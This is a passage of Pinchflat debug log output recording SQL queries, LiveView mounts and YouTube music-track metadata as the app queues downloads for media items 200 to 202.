s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.719 [debug] QUERY OK source="media_items" db=0.4ms queue=0.1ms idle=89.8ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [1] 22:20:18.720 [debug] QUERY OK source="media_items" db=0.4ms idle=89.8ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:18.720 [debug] Replied in 361ms 22:20:18.721 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "downloaded", "source_id" => 1} 22:20:18.721 [debug] QUERY OK source="sources" db=0.1ms idle=90.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.721 [debug] QUERY OK source="media_items" db=0.0ms idle=90.6ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) [1] 22:20:18.721 [debug] QUERY OK source="media_items" db=0.1ms idle=3.4ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND NOT (m0."media_filepath" IS NULL)) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:18.721 [debug] Replied in 870µs 22:20:18.722 [debug] MOUNT PinchflatWeb.Sources.MediaItemTableLive Parameters: :not_mounted_at_router Session: %{"_csrf_token" => "im37iHiAkf4PbM1VPj4sStWC", "media_state" => "other", "source_id" => 1} 22:20:18.723 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nAsleep · Wolves At The Gate\n\nAsleep\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-09-30\n\nAuto-generated by YouTube.", "duration" => 237, "filename" => "/downloads/ChristianMetal/ChristianMetal/2016-09-30Asleep[lrN06b4byiM].NA", "id" => "lrN06b4byiM", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=lrN06b4byiM", "playlist_index" => 34, "timestamp" => 1475210535, "title" => "Asleep", "upload_date" => "20160930"} 22:20:18.723 [debug] QUERY OK source="sources" db=0.2ms queue=0.2ms idle=3.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 22:20:18.723 [debug] QUERY OK source="sources" db=0.4ms idle=3.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:18.724 [debug] QUERY OK source="media_items" db=0.3ms idle=2.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) [1] 22:20:18.724 [debug] QUERY OK source="sources" db=0.3ms idle=2.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:18.724 [debug] QUERY OK source="media_items" db=0.2ms idle=0.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2016-09-30 04:42:15Z], 5] 22:20:18.724 [debug] QUERY OK source="media_items" db=0.5ms idle=2.3ms SELECT m0."id", m0."title", m0."uploaded_at", m0."prevent_download", m0."last_error" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))))) ORDER BY m0."uploaded_at" DESC LIMIT ? OFFSET ? [1, 10, 0] 22:20:18.724 [debug] Replied in 1ms 22:20:18.891 [debug] QUERY OK source="media_items" db=166.6ms idle=1.0ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nAsleep · Wolves At The Gate\n\nAsleep\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-09-30\n\nAuto-generated by YouTube.", "Asleep", "cfa454dd-504d-4c0e-a8e0-1360021bf68b", false, "lrN06b4byiM", 237, false, "https://www.youtube.com/watch?v=lrN06b4byiM", 34, "/downloads/ChristianMetal/ChristianMetal/2016-09-30Asleep[lrN06b4byiM].NA", false, false, 5, [], 1, ~U[2016-09-30 04:42:15Z], ~U[2026-07-24 02:20:18Z], ~U[2026-07-24 02:20:18Z], "Provided to YouTube by The Orchard Enterprises\n\nAsleep · Wolves At The Gate\n\nAsleep\n\n℗ 2016 Solid State Records\n\nReleased on: 2016-09-30\n\nAuto-generated by YouTube.", "Asleep", "lrN06b4byiM", 237, false, "https://www.youtube.com/watch?v=lrN06b4byiM", "/downloads/ChristianMetal/ChristianMetal/2016-09-30Asleep[lrN06b4byiM].NA", false, 5, ~U[2016-09-30 04:42:15Z]] 22:20:18.918 [debug] QUERY OK source="sources" db=26.5ms idle=167.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:18.919 [debug] QUERY OK source="media_profiles" db=0.2ms queue=0.1ms idle=194.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:18.919 [debug] QUERY OK source="media_items" db=0.2ms idle=194.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [200] 22:20:18.919 [info] Kicking off download for media item #200 (lrN06b4byiM) 22:20:19.292 [debug] QUERY OK source="tasks" db=135.3ms idle=237.5ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [198, 200, ~U[2026-07-24 02:20:19Z], ~U[2026-07-24 02:20:19Z]] 22:20:19.292 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nFault Line · August Burns Red\n\nRescue & Restore\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-06-25\n\nMusic Publisher: Eggroom Publishing\nMusic Publisher: We Are Younger We Are Faster Music\n\nAuto-generated by YouTube.", "duration" => 243, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-25Fault Line[YrZj2_PmNU0].NA", "id" => "YrZj2_PmNU0", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=YrZj2_PmNU0", "playlist_index" => 35, "timestamp" => 1485380414, "title" => "Fault Line", "upload_date" => "20170125"} 22:20:19.318 [debug] QUERY OK source="sources" db=25.8ms idle=372.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:19.319 [debug] QUERY OK source="sources" db=0.5ms queue=0.1ms idle=397.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:19.320 [debug] QUERY OK source="media_items" db=0.5ms idle=163.2ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-25 21:40:14Z], 5] 22:20:19.505 [debug] QUERY OK source="media_items" db=184.6ms idle=28.9ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nFault Line · August Burns Red\n\nRescue & Restore\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-06-25\n\nMusic Publisher: Eggroom Publishing\nMusic Publisher: We Are Younger We Are Faster Music\n\nAuto-generated by YouTube.", "Fault Line", "62220edd-575f-499d-bad4-3dbb92b92c4a", false, "YrZj2_PmNU0", 243, false, "https://www.youtube.com/watch?v=YrZj2_PmNU0", 35, "/downloads/ChristianMetal/ChristianMetal/2017-01-25Fault Line[YrZj2_PmNU0].NA", false, false, 5, [], 5, ~U[2017-01-25 21:40:14Z], ~U[2026-07-24 02:20:19Z], ~U[2026-07-24 02:20:19Z], "Provided to YouTube by The Orchard Enterprises\n\nFault Line · August Burns Red\n\nRescue & Restore\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-06-25\n\nMusic Publisher: Eggroom Publishing\nMusic Publisher: We Are Younger We Are Faster Music\n\nAuto-generated by YouTube.", "Fault Line", "YrZj2_PmNU0", 243, false, "https://www.youtube.com/watch?v=YrZj2_PmNU0", "/downloads/ChristianMetal/ChristianMetal/2017-01-25Fault Line[YrZj2_PmNU0].NA", false, 5, ~U[2017-01-25 21:40:14Z]] 22:20:19.506 [debug] QUERY OK source="sources" db=0.2ms idle=187.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:19.550 [debug] QUERY OK source="media_profiles" db=1.1ms queue=42.7ms idle=187.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:19.550 [debug] QUERY OK source="media_items" db=0.2ms idle=230.3ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [201] 22:20:19.550 [info] Kicking off download for media item #201 (YrZj2_PmNU0) 22:20:19.632 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by Universal Music Group\n\nBones In The Ocean · The Longest Johns\n\nBones In The Ocean\n\n℗ 2013 Universal Music Operations Limited\n\nReleased on: 2013-05-27\n\nRecording Engineer, Mastering Engineer, Mixing Engineer: Aled Jenkins\nProducer: The Longest Johns\nComposer Lyricist, Vocalist: Andrew Yates\nVocalist, Composer Lyricist: Dave Robinson\nVocalist, Composer Lyricist: Jonathan Darley\nVocalist, Composer Lyricist: Joshua Bowker\n\nAuto-generated by YouTube.", "duration" => 194, "filename" => "/downloads/Classics/Classics/2025-04-27Bones In The Ocean[MivPd9m5NvI].m4a", "id" => "MivPd9m5NvI", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=MivPd9m5NvI", "playlist_index" => 11, "timestamp" => 1745748036, "title" => "Bones In The Ocean", "upload_date" => "20250427"} 22:20:19.768 [debug] QUERY OK source="tasks" db=98.4ms idle=119.4ms INSERT INTO "tasks" ("job_id","media_item_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [199, 201, ~U[2026-07-24 02:20:19Z], ~U[2026-07-24 02:20:19Z]] 22:20:19.768 [debug] FileFollowerServer Handler: Got media attributes: %{"description" => "Provided to YouTube by The Orchard Enterprises\n\nHollow Eyes · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "duration" => 204, "filename" => "/downloads/ChristianMetal/ChristianMetal/2017-01-26Hollow Eyes[q54TGP8MxWo].NA", "id" => "q54TGP8MxWo", "live_status" => "not_live", "original_url" => "https://www.youtube.com/watch?v=q54TGP8MxWo", "playlist_index" => 36, "timestamp" => 1485395256, "title" => "Hollow Eyes", "upload_date" => "20170126"} 22:20:19.768 [debug] QUERY OK source="sources" db=0.1ms idle=217.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" IN (?)) [5] 22:20:19.769 [debug] QUERY OK source="sources" db=0.1ms idle=217.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:19.769 [debug] QUERY OK source="media_items" db=0.1ms idle=99.7ms SELECT max(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2017-01-26 01:47:36Z], 5] 22:20:19.912 [debug] QUERY OK source="media_items" db=142.6ms idle=1.5ms INSERT INTO "media_items" AS m0 ("description","title","uuid","prevent_download","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Provided to YouTube by The Orchard Enterprises\n\nHollow Eyes · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Hollow Eyes", "29675798-8b71-4634-adef-ba4705a498d7", false, "q54TGP8MxWo", 204, false, "https://www.youtube.com/watch?v=q54TGP8MxWo", 36, "/downloads/ChristianMetal/ChristianMetal/2017-01-26Hollow Eyes[q54TGP8MxWo].NA", false, false, 5, [], 2, ~U[2017-01-26 01:47:36Z], ~U[2026-07-24 02:20:19Z], ~U[2026-07-24 02:20:19Z], "Provided to YouTube by The Orchard Enterprises\n\nHollow Eyes · Fit For A King\n\nDescendants - Redux\n\n℗ 2013 Solid State Records\n\nReleased on: 2013-11-25\n\nAuto-generated by YouTube.", "Hollow Eyes", "q54TGP8MxWo", 204, false, "https://www.youtube.com/watch?v=q54TGP8MxWo", "/downloads/ChristianMetal/ChristianMetal/2017-01-26Hollow Eyes[q54TGP8MxWo].NA", false, 5, ~U[2017-01-26 01:47:36Z]] 22:20:19.913 [debug] QUERY OK source="sources" db=0.2ms idle=143.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 22:20:19.913 [debug] QUERY OK source="media_profiles" db=0.1ms idle=143.8ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 22:20:19.913 [debug] QUERY OK source="media_items" db=0.1ms idle=143.9ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [202] 22:20:19.913 [info] Kicking off download for media item #202 (q54TGP8MxWo) 22:20:20.185 [debug] QUERY OK source="tasks" db=153.1ms idle=118.4ms INSERT INTO "tasks" 